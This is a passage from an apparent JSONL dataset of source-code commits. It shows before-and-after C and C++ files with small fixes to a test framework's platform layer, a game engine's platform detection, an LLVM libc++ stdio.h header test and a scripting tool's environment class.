TimeStringImplementation()\n{\n    time_t tm = time(NULLPTR);\n    static char dateTime[80];\n    struct tm *tmp = localtime(&tm);\n    strftime(dateTime, 80, \"%Y-%m-%dT%H:%M:%S\", tmp);\n    return dateTime;\n}\n\nlong (*GetPlatformSpecificTimeInMillis)() = TimeInMillisImplementation;\nconst char* (*GetPlatformSpecificTimeString)() = TimeStringImplementation;\n\n\/* Wish we could add an attribute to the format for discovering mis-use... but the __attribute__(format) seems to not work on va_list *\/\n#ifdef __clang__\n#pragma clang diagnostic ignored \"-Wformat-nonliteral\"\n#endif\n\n#ifdef __clang__\n#pragma clang diagnostic ignored \"-Wused-but-marked-unused\"\n#endif\nint (*PlatformSpecificVSNprintf)(char *str, size_t size, const char* format, va_list va_args_list) = vsnprintf;\n\nstatic PlatformSpecificFile PlatformSpecificFOpenImplementation(const char* filename, const char* flag)\n{\n   return fopen(filename, flag);\n}\n\nstatic void PlatformSpecificFPutsImplementation(const char* str, PlatformSpecificFile file)\n{\n   fputs(str, (FILE*)file);\n}\n\nstatic void PlatformSpecificFCloseImplementation(PlatformSpecificFile file)\n{\n   fclose((FILE*)file);\n}\n\nstatic void PlatformSpecificFlushImplementation()\n{\n  fflush(stdout);\n}\n\nPlatformSpecificFile (*PlatformSpecificFOpen)(const char*, const char*) = PlatformSpecificFOpenImplementation;\nvoid (*PlatformSpecificFPuts)(const char*, PlatformSpecificFile) = PlatformSpecificFPutsImplementation;\nvoid (*PlatformSpecificFClose)(PlatformSpecificFile) = PlatformSpecificFCloseImplementation;\n\nint (*PlatformSpecificPutchar)(int) = putchar;\nvoid (*PlatformSpecificFlush)() = PlatformSpecificFlushImplementation;\n\nvoid* (*PlatformSpecificMalloc)(size_t size) = malloc;\nvoid* (*PlatformSpecificRealloc)(void*, size_t) = realloc;\nvoid (*PlatformSpecificFree)(void* memory) = free;\nvoid* (*PlatformSpecificMemCpy)(void*, const void*, size_t) = memcpy;\nvoid* (*PlatformSpecificMemset)(void*, int, size_t) = memset;\n\n\/* GCC 4.9.x introduces -Wfloat-conversion, which causes a warning \/ error\n * in GCC's own (macro) implementation of isnan() and isinf().\n *\/\n#if defined(__GNUC__) && (__GNUC__ >= 5 || (__GNUC__ == 4 && __GNUC_MINOR__ > 8))\n#pragma GCC diagnostic ignored \"-Wfloat-conversion\"\n#endif\n\nstatic int IsNanImplementation(double d)\n{\n    return isnan(d);\n}\n\nstatic int IsInfImplementation(double d)\n{\n    return isinf(d);\n}\n\ndouble (*PlatformSpecificFabs)(double) = fabs;\nvoid (*PlatformSpecificSrand)(unsigned int) = srand;\nint (*PlatformSpecificRand)(void) = rand;\nint (*PlatformSpecificIsNan)(double) = IsNanImplementation;\nint (*PlatformSpecificIsInf)(double) = IsInfImplementation;\nint (*PlatformSpecificAtExit)(void(*func)(void)) = atexit;  \/\/\/ this was undefined before\n\nstatic PlatformSpecificMutex PThreadMutexCreate(void)\n{\n    pthread_mutex_t *mutex = new pthread_mutex_t;\n\n    pthread_mutex_init(mutex, NULLPTR);\n\n    return (PlatformSpecificMutex)mutex;\n}\n\nstatic void PThreadMutexLock(PlatformSpecificMutex mtx)\n{\n    pthread_mutex_lock((pthread_mutex_t *)mtx);\n}\n\nstatic void PThreadMutexUnlock(PlatformSpecificMutex mtx)\n{\n    pthread_mutex_unlock((pthread_mutex_t *)mtx);\n}\n\nstatic void PThreadMutexDestroy(PlatformSpecificMutex mtx)\n{\n    pthread_mutex_t *mutex = (pthread_mutex_t *)mtx;\n    pthread_mutex_destroy(mutex);\n    delete mutex;\n}\n\nPlatformSpecificMutex (*PlatformSpecificMutexCreate)(void) = PThreadMutexCreate;\nvoid (*PlatformSpecificMutexLock)(PlatformSpecificMutex) = PThreadMutexLock;\nvoid (*PlatformSpecificMutexUnlock)(PlatformSpecificMutex) = PThreadMutexUnlock;\nvoid (*PlatformSpecificMutexDestroy)(PlatformSpecificMutex) = PThreadMutexDestroy;\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>`InputMaster`: make 1 parameter constructor `explicit`.<commit_after><|endoftext|>"}
{"text":"<commit_before>#include <coffee\/core\/platform_data.h>\n#include <coffee\/core\/plat\/plat_environment.h>\n\n#include <coffee\/core\/plat\/plat_primary_identify.h>\n#include <coffee\/core\/coffee_mem_macros.h>\n\n#if defined(COFFEE_ANDROID)\n#include <coffee\/android\/android_main.h>\n#endif\n\nnamespace Coffee{\n\n#if defined(COFFEE_LINUX)\nnamespace Environment{\nnamespace Linux{\nextern CString get_kern_name();\nextern CString get_kern_arch();\nextern PlatformData::DeviceType get_device_variant();\n}\n}\n#endif\n\nPlatformData::DeviceType PlatformData::DeviceVariant()\n{\n#if defined(COFFEE_ANDROID) \\\n    || defined(COFFEE_APPLE_MOBILE) \\\n    || defined(COFFEE_MAEMO)\n\n    \/* TODO: Add difference between tablet and phone *\/\n\n    return DevicePhone;\n#elif defined(COFFEE_LINUX)\n    return DeviceUnknown;\n#elif defined(COFFEE_RASPBERRY)\n    return DeviceIOT;\n#elif\n    return DevicePhone;\n#elif defined(COFFEE_EMSCRIPTEN)\n    return DeviceIOT;\n#else\n    return DeviceUnknown;\n#endif\n}\n\nPlatformData::Platform PlatformData::PlatformVariant()\n{\n#if defined(COFFEE_ANDROID)\n    return PlatformAndroid;\n\n#elif defined(COFFEE_RASPBERRYPI)\n    return PlatformLinuxRaspberry;\n#elif defined(COFFEE_MAEMO)\n    return PlatformLinuxMaemo;\n#elif defined(COFFEE_LINUX)\n    return PlatformLinux;\n\n#elif defined(COFFEE_EMSCRIPTEN)\n    return PlatformEmscripten;\n\n#elif defined(COFFEE_MINGW64)\n    return PlatformMinGW;\n#elif defined(COFFEE_WINDOWS_UWP)\n    return PlatformUWP;\n#elif defined(COFFEE_WINDOWS)\n    return PlatformWindows;\n\n#elif defined(COFFEE_APPLE_MOBILE)\n    return PlatformMacIOS;\n#elif defined(COFFEE_APPLE)\n    return PlatformMac;\n\n#elif defined(COFFEE_UNIXPLAT)\n    return PlatformUnix;\n#endif\n}\n\nscalar PlatformData::DeviceDPI()\n{\n    \/* TODO: Add DPI fetch for Android and iOS *\/\n    \/* Also, add DPI fetching for OS X and Linux *\/\n    \/* DPI in Windows is a lie *\/\n#if defined(COFFEE_ANDROID)\n\n    AndroidForeignCommand fcmd;\n    fcmd.type = Android_QueryDeviceDPI;\n\n    CoffeeForeignSignalHandleNA(CoffeeForeign_RequestPlatformData,\n                                &fcmd, nullptr, nullptr);\n\n    \/* A very careful ballpark set of constants\n     *  based on how it looks on a 320 DPI screen\n     *  and a 420 DPI screen *\/\n    return (scalar(fcmd.data.scalarI64) \/ 160.f);\n#else\n    return 1.f;\n#endif\n}\n\nCString PlatformData::SystemDisplayString()\n{\n    const constexpr cstring _fmt = \"%s %s %u-bit (%s \";\n    CString sys_ver = SysInfo::GetSystemVersion();\n    CString sys_name = C_SYSTEM_STRING;\n    CString curr_arch = COFFEE_ARCH;\n#if defined(COFFEE_LINUX)\n    sys_name = Environment::Linux::get_kern_name();\n    curr_arch = Environment::Linux::get_kern_arch();\n#endif\n    int len = snprintf(nullptr,0,_fmt,\n                       sys_name.c_str(),\n                       sys_ver.c_str(),\n                       C_SYSTEM_BITNESS,\n                       curr_arch.c_str());\n    CString base;\n    base.resize(len);\n    snprintf(&base[0],base.size(),_fmt,\n            sys_name.c_str(),\n            sys_ver.c_str(),\n            C_SYSTEM_BITNESS,\n            curr_arch.c_str());\n    base.resize(base.find('\\0'));\n    \/* What the fuck. Where does the rest of the string go? *\/\n    base.append(\")\");\n    return base;\n}\n\nbool PlatformData::IsMobile()\n{\n#if defined(COFFEE_ANDROID) || defined(COFFEE_IOS)\n    return true;\n#else\n    return false;\n#endif\n}\n\nbool PlatformData::UseVirtualFS()\n{\n#if defined(COFFEE_ANDROID) || defined(COFFEE_WINDOWS)\n    return true;\n#else\n    return false;\n#endif\n}\n\nbool PlatformData::IsDebug()\n{\n#ifndef NDEBUG\n    return true;\n#else\n    return false;\n#endif\n}\n\n}\n<commit_msg> - Fix tiny oopsie<commit_after>#include <coffee\/core\/platform_data.h>\n#include <coffee\/core\/plat\/plat_environment.h>\n\n#include <coffee\/core\/plat\/plat_primary_identify.h>\n#include <coffee\/core\/coffee_mem_macros.h>\n\n#if defined(COFFEE_ANDROID)\n#include <coffee\/android\/android_main.h>\n#endif\n\nnamespace Coffee{\n\n#if defined(COFFEE_LINUX)\nnamespace Environment{\nnamespace Linux{\nextern CString get_kern_name();\nextern CString get_kern_arch();\nextern PlatformData::DeviceType get_device_variant();\n}\n}\n#endif\n\nPlatformData::DeviceType PlatformData::DeviceVariant()\n{\n#if defined(COFFEE_ANDROID) \\\n    || defined(COFFEE_APPLE_MOBILE) \\\n    || defined(COFFEE_MAEMO)\n\n    \/* TODO: Add difference between tablet and phone *\/\n\n    return DevicePhone;\n#elif defined(COFFEE_LINUX)\n    return DeviceUnknown;\n#elif defined(COFFEE_RASPBERRY)\n    return DeviceIOT;\n#elif defined(COFFEE_EMSCRIPTEN)\n    return DeviceIOT;\n#else\n    return DeviceUnknown;\n#endif\n}\n\nPlatformData::Platform PlatformData::PlatformVariant()\n{\n#if defined(COFFEE_ANDROID)\n    return PlatformAndroid;\n\n#elif defined(COFFEE_RASPBERRYPI)\n    return PlatformLinuxRaspberry;\n#elif defined(COFFEE_MAEMO)\n    return PlatformLinuxMaemo;\n#elif defined(COFFEE_LINUX)\n    return PlatformLinux;\n\n#elif defined(COFFEE_EMSCRIPTEN)\n    return PlatformEmscripten;\n\n#elif defined(COFFEE_MINGW64)\n    return PlatformMinGW;\n#elif defined(COFFEE_WINDOWS_UWP)\n    return PlatformUWP;\n#elif defined(COFFEE_WINDOWS)\n    return PlatformWindows;\n\n#elif defined(COFFEE_APPLE_MOBILE)\n    return PlatformMacIOS;\n#elif defined(COFFEE_APPLE)\n    return PlatformMac;\n\n#elif defined(COFFEE_UNIXPLAT)\n    return PlatformUnix;\n#endif\n}\n\nscalar PlatformData::DeviceDPI()\n{\n    \/* TODO: Add DPI fetch for Android and iOS *\/\n    \/* Also, add DPI fetching for OS X and Linux *\/\n    \/* DPI in Windows is a lie *\/\n#if defined(COFFEE_ANDROID)\n\n    AndroidForeignCommand fcmd;\n    fcmd.type = Android_QueryDeviceDPI;\n\n    CoffeeForeignSignalHandleNA(CoffeeForeign_RequestPlatformData,\n                                &fcmd, nullptr, nullptr);\n\n    \/* A very careful ballpark set of constants\n     *  based on how it looks on a 320 DPI screen\n     *  and a 420 DPI screen *\/\n    return (scalar(fcmd.data.scalarI64) \/ 160.f);\n#else\n    return 1.f;\n#endif\n}\n\nCString PlatformData::SystemDisplayString()\n{\n    const constexpr cstring _fmt = \"%s %s %u-bit (%s \";\n    CString sys_ver = SysInfo::GetSystemVersion();\n    CString sys_name = C_SYSTEM_STRING;\n    CString curr_arch = COFFEE_ARCH;\n#if defined(COFFEE_LINUX)\n    sys_name = Environment::Linux::get_kern_name();\n    curr_arch = Environment::Linux::get_kern_arch();\n#endif\n    int len = snprintf(nullptr,0,_fmt,\n                       sys_name.c_str(),\n                       sys_ver.c_str(),\n                       C_SYSTEM_BITNESS,\n                       curr_arch.c_str());\n    CString base;\n    base.resize(len);\n    snprintf(&base[0],base.size(),_fmt,\n            sys_name.c_str(),\n            sys_ver.c_str(),\n            C_SYSTEM_BITNESS,\n            curr_arch.c_str());\n    base.resize(base.find('\\0'));\n    \/* What the fuck. Where does the rest of the string go? *\/\n    base.append(\")\");\n    return base;\n}\n\nbool PlatformData::IsMobile()\n{\n#if defined(COFFEE_ANDROID) || defined(COFFEE_IOS)\n    return true;\n#else\n    return false;\n#endif\n}\n\nbool PlatformData::UseVirtualFS()\n{\n#if defined(COFFEE_ANDROID) || defined(COFFEE_WINDOWS)\n    return true;\n#else\n    return false;\n#endif\n}\n\nbool PlatformData::IsDebug()\n{\n#ifndef NDEBUG\n    return true;\n#else\n    return false;\n#endif\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Fixing bug on deletion<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>Better variable name<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ test <stdio.h>\n\n#include <stdio.h>\n#include <type_traits>\n\n#ifndef BUFSIZ\n#error BUFSIZ not defined\n#endif\n\n#ifndef EOF\n#error EOF not defined\n#endif\n\n#ifndef FILENAME_MAX\n#error FILENAME_MAX not defined\n#endif\n\n#ifndef FOPEN_MAX\n#error FOPEN_MAX not defined\n#endif\n\n#ifndef L_tmpnam\n#error L_tmpnam not defined\n#endif\n\n#ifndef NULL\n#error NULL not defined\n#endif\n\n#ifndef SEEK_CUR\n#error SEEK_CUR not defined\n#endif\n\n#ifndef SEEK_END\n#error SEEK_END not defined\n#endif\n\n#ifndef SEEK_SET\n#error SEEK_SET not defined\n#endif\n\n#ifndef TMP_MAX\n#error TMP_MAX not defined\n#endif\n\n#ifndef _IOFBF\n#error _IOFBF not defined\n#endif\n\n#ifndef _IOLBF\n#error _IOLBF not defined\n#endif\n\n#ifndef _IONBF\n#error _IONBF not defined\n#endif\n\n#ifndef stderr\n#error stderr not defined\n#endif\n\n#ifndef stdin\n#error stdin not defined\n#endif\n\n#ifndef stdout\n#error stdout not defined\n#endif\n\n#include <cstdarg>\n\n#pragma clang diagnostic ignored \"-Wformat-zero-length\"\n\nint main()\n{\n    FILE* fp = 0;\n    fpos_t fpos = {0};\n    size_t s = 0;\n    char* cp = 0;\n    va_list va;\n    static_assert((std::is_same<decltype(remove(\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(rename(\"\",\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(tmpfile()), FILE*>::value), \"\");\n    static_assert((std::is_same<decltype(tmpnam(cp)), char*>::value), \"\");\n    static_assert((std::is_same<decltype(fclose(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fflush(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fopen(\"\", \"\")), FILE*>::value), \"\");\n    static_assert((std::is_same<decltype(freopen(\"\", \"\", fp)), FILE*>::value), \"\");\n    static_assert((std::is_same<decltype(setbuf(fp,cp)), void>::value), \"\");\n    static_assert((std::is_same<decltype(vfprintf(fp,\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fprintf(fp,\" \")), int>::value), \"\");\n    static_assert((std::is_same<decltype(fscanf(fp,\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(printf(\"\\n\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(scanf(\"\\n\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(snprintf(cp,0,\"p\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(sprintf(cp,\" \")), int>::value), \"\");\n    static_assert((std::is_same<decltype(sscanf(\"\",\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(vfprintf(fp,\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vfscanf(fp,\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vprintf(\" \",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vscanf(\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vsnprintf(cp,0,\" \",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vsprintf(cp,\" \",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vsscanf(\"\",\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fgetc(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fgets(cp,0,fp)), char*>::value), \"\");\n    static_assert((std::is_same<decltype(fputc(0,fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fputs(\"\",fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(getc(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(getchar()), int>::value), \"\");\n    static_assert((std::is_same<decltype(gets(cp)), char*>::value), \"\");\n    static_assert((std::is_same<decltype(putc(0,fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(putchar(0)), int>::value), \"\");\n    static_assert((std::is_same<decltype(puts(\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(ungetc(0,fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fread((void*)0,0,0,fp)), size_t>::value), \"\");\n    static_assert((std::is_same<decltype(fwrite((const void*)0,0,0,fp)), size_t>::value), \"\");\n    static_assert((std::is_same<decltype(fgetpos(fp, &fpos)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fseek(fp, 0,0)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fsetpos(fp, &fpos)), int>::value), \"\");\n    static_assert((std::is_same<decltype(ftell(fp)), long>::value), \"\");\n    static_assert((std::is_same<decltype(rewind(fp)), void>::value), \"\");\n    static_assert((std::is_same<decltype(clearerr(fp)), void>::value), \"\");\n    static_assert((std::is_same<decltype(feof(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(ferror(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(perror(\"\")), void>::value), \"\");\n}\n<commit_msg>fix stdio.h test to reflect removal of ::gets in c++14<commit_after>\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is dual licensed under the MIT and the University of Illinois Open\n\/\/ Source Licenses. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n\/\/ test <stdio.h>\n\n#include <stdio.h>\n#include <type_traits>\n\n#ifndef BUFSIZ\n#error BUFSIZ not defined\n#endif\n\n#ifndef EOF\n#error EOF not defined\n#endif\n\n#ifndef FILENAME_MAX\n#error FILENAME_MAX not defined\n#endif\n\n#ifndef FOPEN_MAX\n#error FOPEN_MAX not defined\n#endif\n\n#ifndef L_tmpnam\n#error L_tmpnam not defined\n#endif\n\n#ifndef NULL\n#error NULL not defined\n#endif\n\n#ifndef SEEK_CUR\n#error SEEK_CUR not defined\n#endif\n\n#ifndef SEEK_END\n#error SEEK_END not defined\n#endif\n\n#ifndef SEEK_SET\n#error SEEK_SET not defined\n#endif\n\n#ifndef TMP_MAX\n#error TMP_MAX not defined\n#endif\n\n#ifndef _IOFBF\n#error _IOFBF not defined\n#endif\n\n#ifndef _IOLBF\n#error _IOLBF not defined\n#endif\n\n#ifndef _IONBF\n#error _IONBF not defined\n#endif\n\n#ifndef stderr\n#error stderr not defined\n#endif\n\n#ifndef stdin\n#error stdin not defined\n#endif\n\n#ifndef stdout\n#error stdout not defined\n#endif\n\n#include <cstdarg>\n\n#pragma clang diagnostic ignored \"-Wformat-zero-length\"\n\nint main()\n{\n    FILE* fp = 0;\n    fpos_t fpos = {0};\n    size_t s = 0;\n    char* cp = 0;\n    va_list va;\n    static_assert((std::is_same<decltype(remove(\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(rename(\"\",\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(tmpfile()), FILE*>::value), \"\");\n    static_assert((std::is_same<decltype(tmpnam(cp)), char*>::value), \"\");\n    static_assert((std::is_same<decltype(fclose(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fflush(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fopen(\"\", \"\")), FILE*>::value), \"\");\n    static_assert((std::is_same<decltype(freopen(\"\", \"\", fp)), FILE*>::value), \"\");\n    static_assert((std::is_same<decltype(setbuf(fp,cp)), void>::value), \"\");\n    static_assert((std::is_same<decltype(vfprintf(fp,\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fprintf(fp,\" \")), int>::value), \"\");\n    static_assert((std::is_same<decltype(fscanf(fp,\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(printf(\"\\n\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(scanf(\"\\n\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(snprintf(cp,0,\"p\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(sprintf(cp,\" \")), int>::value), \"\");\n    static_assert((std::is_same<decltype(sscanf(\"\",\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(vfprintf(fp,\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vfscanf(fp,\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vprintf(\" \",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vscanf(\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vsnprintf(cp,0,\" \",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vsprintf(cp,\" \",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(vsscanf(\"\",\"\",va)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fgetc(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fgets(cp,0,fp)), char*>::value), \"\");\n    static_assert((std::is_same<decltype(fputc(0,fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fputs(\"\",fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(getc(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(getchar()), int>::value), \"\");\n#if _LIBCPP_STD_VER < 14\n    static_assert((std::is_same<decltype(gets(cp)), char*>::value), \"\");\n#endif\n    static_assert((std::is_same<decltype(putc(0,fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(putchar(0)), int>::value), \"\");\n    static_assert((std::is_same<decltype(puts(\"\")), int>::value), \"\");\n    static_assert((std::is_same<decltype(ungetc(0,fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fread((void*)0,0,0,fp)), size_t>::value), \"\");\n    static_assert((std::is_same<decltype(fwrite((const void*)0,0,0,fp)), size_t>::value), \"\");\n    static_assert((std::is_same<decltype(fgetpos(fp, &fpos)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fseek(fp, 0,0)), int>::value), \"\");\n    static_assert((std::is_same<decltype(fsetpos(fp, &fpos)), int>::value), \"\");\n    static_assert((std::is_same<decltype(ftell(fp)), long>::value), \"\");\n    static_assert((std::is_same<decltype(rewind(fp)), void>::value), \"\");\n    static_assert((std::is_same<decltype(clearerr(fp)), void>::value), \"\");\n    static_assert((std::is_same<decltype(feof(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(ferror(fp)), int>::value), \"\");\n    static_assert((std::is_same<decltype(perror(\"\")), void>::value), \"\");\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"Environment.h\"\n#include \"Element.h\"\n#include <fstream>\n#include <iostream>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys\/param.h> \n#include <sys\/stat.h>\n#include <signal.h>\n#include \"JobData.h\"\nusing namespace std;\n\nEnvironment::Environment(int argc, char const* argv[],int script_pos)\n{\n\t\/\/ set cwd (this directory is never changed)\n\tchar tmp[MAXPATHLEN];\n\tif (getcwd(tmp,sizeof(tmp)) == NULL){\n\t\tcerr << \"Initizalization error\" << endl;\n\t\tperror (\"getcwd\");\n\t\texit(1);\n\t}\n\n\tm_dir = tmp;\t\n\tm_pid = getpid();\n\n\tstring a0 = string(argv[0]);\n\n\/*\n\tif(a0 == \"glue\")\/\/from path\n\t\tm_glue_path = \"\/usr\/local\/bin\/glue\";\n\telse\n\t\tm_glue_path = string(tmp) + \"\/\" + string(argv[0]);\n*\/\n\n\t\/\/set args\n\tfor(int i=script_pos;i<argc;i++)\n\t\tm_args.push_back(argv[i]);\n\n\tm_v_opt = false;\n}\n\nEnvironment::~Environment()\n{\n\tfor(auto d : m_data){\n\t\tif(d.second != NULL)\n\t\t\tdelete d.second;\n\t}\n}\n\nvoid Environment::initSubShell(char const* argv[])\n{\n\tm_pid = getpid();\n\t\/\/set args\n\tint c = 0;\n\tm_args.clear();\n\twhile(argv[c] != NULL){\n\t\tm_args.push_back(argv[c]);\n\t\tc++;\n\t}\n}\n\n\/\/ this function is called from Script::parse\n\/\/ after import sentences are parsed.\nvoid Environment::initTmpdir(void)\n{\n\tauto *p = getImportPaths(\"tmpdir\");\n\tif(p == NULL || p->size() < 1){\n\t\tcerr << \"unable to find tmpdir\" << endl;\n\t\tthrow this;\n\t}\n\n\tsrand(time(NULL));\n\n\tm_tmpdir = p->at(0) + \"glue\" + to_string(m_pid) + \"-\" + to_string(rand());\n\twhile(mkdir(m_tmpdir.c_str(),0700) != 0){\n\t\tcerr << \"unable to create tmpdir\" << endl;\n\t\tthrow this;\n\t}\n}\n\n\nvoid Environment::setImportPath(string *key, string *value)\n{\n\tstring path;\n\tif(value->at(0) == '\/'){\n\t\tpath = *value;\n\t}else{\n\t\t\/\/resolve relative path (too lazy)\n\t\tpath = m_dir + \"\/\" + *value;\n\t}\n\tm_import_paths[*key].push_back(path);\n}\n\nvector<string> *Environment::getImportPaths(string *key)\n{\n\tif(m_import_paths.find(*key) == m_import_paths.end()){\n\t\treturn NULL;\n\t}\n\n\treturn &m_import_paths[*key];\n}\n\nvector<string> *Environment::getImportPaths(const char *key)\n{\n\tstring tmp(key);\n\treturn getImportPaths(&tmp);\n}\n\nbool Environment::isImportPath(string *key)\n{\n\treturn m_import_paths.find(*key) != m_import_paths.end();\n}\n\nData *Environment::getData(string *key)\n{\n\tif(m_data.find(*key) == m_data.end()){\n\t\tm_error_msg = \"variable \" + *key + \" not found\";\n\t\tthrow this;\n\t}\n\n\treturn m_data[*key];\n}\n\nvoid Environment::removeFiles(void)\n{\n\tfor(auto d : m_data){\n\t\tstring *f = d.second->getFileName();\n\t\tif(f == NULL)\n\t\t\tcontinue;\n\n\t\tif(m_tmpdir + \"\/\" != f->substr(0,m_tmpdir.size() + 1))\n\t\t\tcontinue;\n\n\t\tremove(f->c_str());\n\t\tif(m_v_opt)\n\t\t\tcerr << \"+ pid \" << getpid() << \" file \" << f << \" deleted\" << endl;\n\t}\n\t\n\/*\n\tfor(auto f : m_file_list){\n\t\tif(m_tmpdir + \"\/\" != f.substr(0,m_tmpdir.size() + 1))\n\t\t\tcontinue;\n\n\t\tremove(f.c_str());\n\t\tif(m_v_opt)\n\t\t\tcerr << \"+ pid \" << getpid() << \" file \" << f << \" deleted\" << endl;\n\t}\n*\/\n\n\tstruct stat buf;\n\twhile(stat(m_tmpdir.c_str(), &buf) == 0){\n\t\tif(remove(m_tmpdir.c_str()) != 0){\n\t\t\tcerr << \"cannot remove tmpdir\" << endl;\n\t\t\tsleep(1);\n\t\t}\n\t}\n\tif(Element::m_signal != 0)\n\t\tkill(0,SIGHUP);\n}\n\nstring *Environment::getArg(long pos)\n{\n\tif(pos < 0 || pos >= (long)m_args.size()){\n\t\tm_error_msg = \"Array index out of range (pos: \"+\n\t\tto_string(pos) + \")\";\n\t\tthrow this;\n\t}\n\treturn &m_args[pos];\n}\n\nvoid Environment::setData(string *key, Data *value)\n{\n\tif(m_data.find(*key) != m_data.end()){\n\t\tm_error_msg = *key + \" already exist\";\n\t\tthrow this;\n\t}\n\tm_data[*key] = value;\n}\n<commit_msg>Fix a non initialization bug<commit_after>#include \"Environment.h\"\n#include \"Element.h\"\n#include <fstream>\n#include <iostream>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys\/param.h> \n#include <sys\/stat.h>\n#include <signal.h>\n#include \"JobData.h\"\nusing namespace std;\n\nEnvironment::Environment(int argc, char const* argv[],int script_pos)\n{\n\t\/\/ set cwd (this directory is never changed)\n\tchar tmp[MAXPATHLEN];\n\tif (getcwd(tmp,sizeof(tmp)) == NULL){\n\t\tcerr << \"Initizalization error\" << endl;\n\t\tperror (\"getcwd\");\n\t\texit(1);\n\t}\n\n\tm_dir = tmp;\t\n\tm_pid = getpid();\n\n\tstring a0 = string(argv[0]);\n\n\t\/\/set args\n\tfor(int i=script_pos;i<argc;i++)\n\t\tm_args.push_back(argv[i]);\n\n\tm_v_opt = false;\n\tm_level = 0;\n}\n\nEnvironment::~Environment()\n{\n\tfor(auto d : m_data){\n\t\tif(d.second != NULL)\n\t\t\tdelete d.second;\n\t}\n}\n\nvoid Environment::initSubShell(char const* argv[])\n{\n\tm_pid = getpid();\n\t\/\/set args\n\tint c = 0;\n\tm_args.clear();\n\twhile(argv[c] != NULL){\n\t\tm_args.push_back(argv[c]);\n\t\tc++;\n\t}\n}\n\n\/\/ this function is called from Script::parse\n\/\/ after import sentences are parsed.\nvoid Environment::initTmpdir(void)\n{\n\tauto *p = getImportPaths(\"tmpdir\");\n\tif(p == NULL || p->size() < 1){\n\t\tcerr << \"unable to find tmpdir\" << endl;\n\t\tthrow this;\n\t}\n\n\tsrand(time(NULL));\n\n\tm_tmpdir = p->at(0) + \"glue\" + to_string(m_pid) + \"-\" + to_string(rand());\n\twhile(mkdir(m_tmpdir.c_str(),0700) != 0){\n\t\tcerr << \"unable to create tmpdir\" << endl;\n\t\tthrow this;\n\t}\n}\n\n\nvoid Environment::setImportPath(string *key, string *value)\n{\n\tstring path;\n\tif(value->at(0) == '\/'){\n\t\tpath = *value;\n\t}else{\n\t\t\/\/resolve relative path (too lazy)\n\t\tpath = m_dir + \"\/\" + *value;\n\t}\n\tm_import_paths[*key].push_back(path);\n}\n\nvector<string> *Environment::getImportPaths(string *key)\n{\n\tif(m_import_paths.find(*key) == m_import_paths.end()){\n\t\treturn NULL;\n\t}\n\n\treturn &m_import_paths[*key];\n}\n\nvector<string> *Environment::getImportPaths(const char *key)\n{\n\tstring tmp(key);\n\treturn getImportPaths(&tmp);\n}\n\nbool Environment::isImportPath(string *key)\n{\n\treturn m_import_paths.find(*key) != 